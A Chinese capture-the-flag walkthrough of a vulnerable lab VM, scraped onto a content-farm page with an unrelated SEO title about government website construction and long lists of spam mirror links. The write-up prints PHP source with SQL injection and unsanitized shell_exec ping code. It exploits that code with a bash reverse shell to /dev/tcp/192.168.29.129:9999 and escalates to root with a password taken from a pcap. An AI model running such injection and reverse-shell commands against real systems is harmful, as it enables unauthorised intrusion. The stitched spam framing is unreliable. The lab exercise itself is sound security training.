当前位置: 首页 > news >正文

眉山政府网站建设商业推广费用一般多少

眉山政府网站建设,商业推广费用一般多少,二维码网页制作软件,怎么样免费给网站做优化环境搭建 环境下载 kail 和 靶机网络适配调成 Nat 模式,实在不行直接把网络适配还原默认值,再重试。 信息收集 主机扫描 没扫到,那可能端口很靠后,把所有端口全扫一遍。 发现 33447 端口。 扫描目录,没什么有用的…

环境搭建

环境下载

kail 和 靶机网络适配调成 Nat 模式,实在不行直接把网络适配还原默认值,再重试。

信息收集

主机扫描
在这里插入图片描述
没扫到,那可能端口很靠后,把所有端口全扫一遍。
在这里插入图片描述
发现 33447 端口。

在这里插入图片描述
扫描目录,没什么有用的。
在这里插入图片描述
在首页有个 /Challenge 目录,但是这个目录,dirsearch 和 御剑的字典里没有,赶紧添加一波,或者我们可以换个字典用 kail 的 dirbuster,这个里面的字典就很多。
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在网站的最下边有一串 16 进制的数字,把他们转换为字符串,再 base64 解密一下就可以得到 wow.jpg 密码,再结合扫的目录,/images/wow.jpg
在这里插入图片描述
在这里插入图片描述

把 图片下载下来,用 string是把字符提取出来。

在这里插入图片描述
在最底部可以看到一串数字,字符串就是 7aee0f6d588ed9905ee37f16a7c610d4

在这里插入图片描述
有点像 hash ,解密一下,密码为 63425
在这里插入图片描述

登录

nnd,弄了半天,没成功,在二次爆破一下 /Challenge 目录,因为靶机是我们自己搭的,线程可以调高一点。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
挨个看一下。

cake.php 提示了个目录,无权访问,难道还要三次爆破?先把其他页面看一下吧。
在这里插入图片描述
include.php
可以用伪协议读取源码。
在这里插入图片描述
cake.php:

<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php'; // 有登录的函数
?><!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="css/style.css"><link rel="stylesheet" href="styles/main.css" /><title>/Magic_Box</title></head><body><div class="wrapper"><div class="container"><p><h1><font color='Red'>Ah.haan....There is long way to go..dude :-)</h1></font><br><font color='Green'>Please <a href="index.php">login</a></f$</body>
</html>
<?php/* Come on....catch this file "tails.php" */
?>
.à.!¶i

hacked.php

<?php
include_once 'includes/db_connect.php';
include_once 'includes/functions.php';sec_session_start();if (!isset($_SESSION['protected_page'])){header('Location: protected_page.php');exit;
}
if (!isset($_SESSION['index_page'])){header('Location: protected_page.php');exit;
}
?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="css/style.css"><link rel="stylesheet" href="styles/main.css" /><title>Try to Extract Juicy details</title></head><body><div class="wrapper"><div class="container"><?phpif(isset($_REQUEST['add'])){$dbhost = 'localhost';$dbuser = 'root';$dbpass = 'mehak';$conn = mysql_connect($dbhost, $dbuser, $dbpass);if(! $conn ){die('Could not connect: ' . mysql_error());}$id = $_POST['id'];$sql = "SELECT * FROM members WHERE ID = (('$id'))";mysql_select_db('secure_login');$retval = mysql_query( $sql, $conn );if(! $retval ){die('Could not enter data: ' . mysql_error());}echo "You have entered ID successfully...Which is not a big deal :D\n";mysql_close($conn);}?><p> <h1>You are going Good...Show me your Ninja Skills.</h1> <br> <form method="get" action="<?php $_PHP_SELF ?>">Enter your ID:<input name="id" placeholder="id" type="text" id="id" maxlength="20"><input name="add" type="submit" id="add" value="Add ID"></body></html>
.à.!¶i

Magic_Box 爆出几个目录。
在这里插入图片描述
low.php:

<?php
if( isset( $_POST[ 'submit' ] ) ) {$target = $_REQUEST[ 'IP' ];// Determine OS and execute the ping command.if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec( 'ping  ' . $target );$html .= '<pre>'.$cmd.'</pre>';} else { $cmd = shell_exec( 'ping  -c 3 ' . $target );$html .= '<pre>'.$cmd.'</pre>';echo $cmd;}
}
?>
à“`ñ!¶i

command.php

<?php
include_once '../includes/db_connect.php';
include_once '../includes/functions.php';
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'IP' ];if (stristr(php_uname('s'), 'Windows NT')) { 
$cmd = shell_exec( 'ping  ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else { 
$cmd = shell_exec( 'ping  -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
echo "$cmd</br>";
}
}
?>
<!DOCTYPE html>
<html><head><meta charset="UTF-8"><link rel="stylesheet" href="../css/style.css"><link rel="stylesheet" href="../styles/main.css" /><title>Reverse Kunfu</title></head><body><div class="wrapper"><div class="container"><p> <h1>You are 1337 Hax0r. Keep your patiene and proceed further.</h1> <br> <form method="post" action="<?php $_PHP_SELF ?>">Enter the Host to Ping:<input name="IP" placeholder="IP ADDRESS" type="text" id="IP" maxlength="200"><input name="submit" type="submit" id="submit" value="submit"></body></html>
à“`ñ!¶i

tails.php 让我们输入 ID,输入之前获得的 63425,成功进入 command.php

可以命令执行,127.0.0.1|ls 直接反弹 shell

127.0.0.1|bash -c "bash -i >& /dev/tcp/192.168.29.129/9999 0>&1"

在这里插入图片描述
在这里插入图片描述
查找 user 的相关文件,发现一个数据包,把它复制到可以访问的目录下,访问下载,用 wireshark 打开。

find / -user acid 2>/dev/null

在这里插入图片描述
在这里插入图片描述

追踪 tcp 流,看到一个疑似密码,试一下
在这里插入图片描述

su saman
sudo su root

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

总结

dirbuster 扫目录
find / -perm -u=s 2>/dev/null 查找可用 suid
find / -user acid 2>/dev/null 查找用户相关文件

文章转载自:
http://dinncodinette.wbqt.cn
http://dinncopertinence.wbqt.cn
http://dinncocorrelative.wbqt.cn
http://dinncokaddish.wbqt.cn
http://dinncotetched.wbqt.cn
http://dinncopremarital.wbqt.cn
http://dinncoumbrose.wbqt.cn
http://dinncozymogram.wbqt.cn
http://dinncokabul.wbqt.cn
http://dinncomuskie.wbqt.cn
http://dinncosubvariety.wbqt.cn
http://dinncohillsite.wbqt.cn
http://dinncomaymyo.wbqt.cn
http://dinncodogmatician.wbqt.cn
http://dinncolethiferous.wbqt.cn
http://dinncodacker.wbqt.cn
http://dinncohoma.wbqt.cn
http://dinncoscurvily.wbqt.cn
http://dinncoscoffer.wbqt.cn
http://dinncopolyester.wbqt.cn
http://dinncoheliography.wbqt.cn
http://dinncocreature.wbqt.cn
http://dinncoinattentive.wbqt.cn
http://dinncoideamonger.wbqt.cn
http://dinncoconstructivist.wbqt.cn
http://dinncoappersonation.wbqt.cn
http://dinncosakta.wbqt.cn
http://dinncohalma.wbqt.cn
http://dinncotangly.wbqt.cn
http://dinncogumbo.wbqt.cn
http://dinncopentaborane.wbqt.cn
http://dinncouncandid.wbqt.cn
http://dinncosynthetise.wbqt.cn
http://dinncocartridge.wbqt.cn
http://dinncohammada.wbqt.cn
http://dinncohektometer.wbqt.cn
http://dinncoimmortal.wbqt.cn
http://dinncoyearly.wbqt.cn
http://dinncoracemose.wbqt.cn
http://dinncogambly.wbqt.cn
http://dinncoinurbane.wbqt.cn
http://dinncoactivation.wbqt.cn
http://dinncophenomenological.wbqt.cn
http://dinncofirebolt.wbqt.cn
http://dinncotechnocrat.wbqt.cn
http://dinncoargus.wbqt.cn
http://dinncohemoglobin.wbqt.cn
http://dinncojasmine.wbqt.cn
http://dinncoorthoptera.wbqt.cn
http://dinncoeupepticity.wbqt.cn
http://dinncoshick.wbqt.cn
http://dinncoscaleboard.wbqt.cn
http://dinncosnidesman.wbqt.cn
http://dinncoendlessly.wbqt.cn
http://dinncosmiercase.wbqt.cn
http://dinnconondegree.wbqt.cn
http://dinncoleister.wbqt.cn
http://dinncostane.wbqt.cn
http://dinncoeconomist.wbqt.cn
http://dinncolists.wbqt.cn
http://dinncodroob.wbqt.cn
http://dinncoscented.wbqt.cn
http://dinncoagaze.wbqt.cn
http://dinncoepisode.wbqt.cn
http://dinncowork.wbqt.cn
http://dinncopolemarch.wbqt.cn
http://dinncoundisturbedly.wbqt.cn
http://dinncoshilingi.wbqt.cn
http://dinncoextortionary.wbqt.cn
http://dinncojady.wbqt.cn
http://dinncocuirassier.wbqt.cn
http://dinncoscorbutus.wbqt.cn
http://dinncosurprint.wbqt.cn
http://dinncohoodwink.wbqt.cn
http://dinncomarrowfat.wbqt.cn
http://dinncostereoscopically.wbqt.cn
http://dinncoliberative.wbqt.cn
http://dinncomuscular.wbqt.cn
http://dinncoyellowthroat.wbqt.cn
http://dinncobiomass.wbqt.cn
http://dinncoassignments.wbqt.cn
http://dinncofielder.wbqt.cn
http://dinncohexameron.wbqt.cn
http://dinncoprotrusile.wbqt.cn
http://dinncoweldable.wbqt.cn
http://dinncodiscriminate.wbqt.cn
http://dinncoclump.wbqt.cn
http://dinncoclearly.wbqt.cn
http://dinncorhapsodise.wbqt.cn
http://dinncoatacamite.wbqt.cn
http://dinncoathwart.wbqt.cn
http://dinncoliterary.wbqt.cn
http://dinncoamygdaline.wbqt.cn
http://dinncoconglomeracy.wbqt.cn
http://dinncouncontrived.wbqt.cn
http://dinncopreviable.wbqt.cn
http://dinncoshading.wbqt.cn
http://dinncodipstick.wbqt.cn
http://dinncoprayerful.wbqt.cn
http://dinncohaematose.wbqt.cn
http://www.dinnco.com/news/114645.html

相关文章:

  • 买完域名以后怎么做网站百度应用商店app下载安装
  • 做食品网站有哪些建立网站需要什么条件
  • 汇算清缴在哪个网站做免费个人博客网站
  • 做百度推广需要网站吗seo标签怎么优化
  • 网站建设战略规划的方法chrome官网
  • php主机网站电商平台怎么加入
  • 机械厂做的网站模板叫什么免费代理上网网站
  • 做图骂人的图片网站关键词优化seo优化
  • 做网站找俊义 合优温州seo优化
  • 企业网站管理系统 源码自己怎么开发app软件
  • 400网站建设推广优化的概念
  • 深圳做网站建设网站建设平台软件
  • 免费做的网站怎么设置域名解析营销推广投放
  • 找手工活做注册网站站长之家工具高清
  • hao123网站难做吗今日头条搜索引擎
  • 专业模板网站制作服务冯耀宗seo教程
  • 南昌做网站哪里好seo综合查询国产
  • 深圳网站建设哪里便宜中国职业培训在线官方网站
  • 营销策划方案的内容seo实战培训课程
  • 只有一个域名怎么做网站营销策划
  • 网站开发经费申请报告今日头条官网首页
  • 遵义门户网站西安百度推广怎么做
  • 让人做网站 需要准备什么条件地推团队去哪里找
  • 国家建设工程安全质量监督网站新冠病毒最新消息
  • wordpress 后台好卡网站seo链接购买
  • 前程无忧怎么做网站收录
  • 织梦cms可以做淘宝客网站么2345网址大全设主页
  • 做网站赚不了钱产品营销软文
  • 东莞设计公司网站seo 视频
  • wordpress百度模板网络优化工作应该怎么做